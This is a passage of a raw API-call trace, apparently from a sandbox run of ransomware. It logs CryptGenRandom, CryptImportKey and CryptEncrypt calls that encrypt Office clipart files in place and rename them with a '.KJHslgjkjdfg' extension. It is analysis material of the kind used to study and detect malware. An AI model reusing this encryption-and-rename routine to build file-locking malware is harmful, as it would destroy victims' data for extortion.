phKey=0x290f274*=0x2c63a0) returned 1 [0184.768] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.768] GetProcessHeap () returned 0x2a0000 [0184.768] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.768] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.768] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.768] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.769] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.769] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.769] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.769] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.769] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.769] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.769] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.769] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.769] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2ad4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2ad4, lpOverlapped=0x0) returned 1 [0184.770] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ae0, dwBufLen=0x2ae0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ae0) returned 1 [0184.770] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.770] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2ae0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2ae0, lpOverlapped=0x0) returned 1 [0184.771] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.771] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.771] SetEndOfFile (hFile=0x114) returned 1 [0184.773] GetProcessHeap () returned 0x2a0000 [0184.773] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.773] GetProcessHeap () returned 0x2a0000 [0184.773] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.kjhslgjkjdfg")) returned 1 [0184.775] CloseHandle (hObject=0x114) returned 1 [0184.775] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c22fe00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c22fe00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x194a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00395_.WMF", cAlternateFileName="")) returned 1 [0184.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.776] GetProcessHeap () returned 0x2a0000 [0184.776] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.776] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.776] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0184.780] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.780] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.780] GetProcessHeap () returned 0x2a0000 [0184.780] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.780] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.780] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.780] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.780] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.780] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.780] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.780] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.781] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.781] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.781] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.781] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x194a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x194a, lpOverlapped=0x0) returned 1 [0184.782] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1950, dwBufLen=0x1950 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1950) returned 1 [0184.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.782] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1950, lpOverlapped=0x0) returned 1 [0184.782] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.782] SetEndOfFile (hFile=0x114) returned 1 [0184.785] GetProcessHeap () returned 0x2a0000 [0184.785] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.785] GetProcessHeap () returned 0x2a0000 [0184.785] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.kjhslgjkjdfg")) returned 1 [0184.793] CloseHandle (hObject=0x114) returned 1 [0184.793] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af1d100, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4af1d100, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x38c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00396_.WMF", cAlternateFileName="")) returned 1 [0184.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.795] GetProcessHeap () returned 0x2a0000 [0184.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.795] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.795] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.795] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0184.799] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.799] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.799] GetProcessHeap () returned 0x2a0000 [0184.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.799] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.799] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.799] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.799] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.799] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.799] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.799] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.799] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.800] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.800] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.800] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.800] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x38c6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x38c6, lpOverlapped=0x0) returned 1 [0184.801] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x38d0, dwBufLen=0x38d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x38d0) returned 1 [0184.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.801] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x38d0, lpOverlapped=0x0) returned 1 [0184.801] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x39a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.801] SetEndOfFile (hFile=0x114) returned 1 [0184.804] GetProcessHeap () returned 0x2a0000 [0184.804] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.804] GetProcessHeap () returned 0x2a0000 [0184.804] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.kjhslgjkjdfg")) returned 1 [0184.807] CloseHandle (hObject=0x114) returned 1 [0184.807] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239b0400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x239b0400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x173e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00417_.WMF", cAlternateFileName="")) returned 1 [0184.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.808] GetProcessHeap () returned 0x2a0000 [0184.808] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.808] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.808] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.809] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0184.813] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.813] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.813] GetProcessHeap () returned 0x2a0000 [0184.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.814] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.814] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.814] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.814] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.814] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.814] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.814] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.814] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.814] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.814] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x173e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x173e, lpOverlapped=0x0) returned 1 [0184.815] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1740, dwBufLen=0x1740 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1740) returned 1 [0184.815] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.816] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1740, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1740, lpOverlapped=0x0) returned 1 [0184.816] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.816] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.816] SetEndOfFile (hFile=0x114) returned 1 [0184.819] GetProcessHeap () returned 0x2a0000 [0184.819] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.819] GetProcessHeap () returned 0x2a0000 [0184.819] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.kjhslgjkjdfg")) returned 1 [0184.820] CloseHandle (hObject=0x114) returned 1 [0184.820] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313b9400, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x313b9400, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x4696, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00433_.WMF", cAlternateFileName="")) returned 1 [0184.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.821] GetProcessHeap () returned 0x2a0000 [0184.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.821] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.822] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0184.824] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.824] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.824] GetProcessHeap () returned 0x2a0000 [0184.824] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.824] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.824] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.824] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.824] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.825] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.825] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, 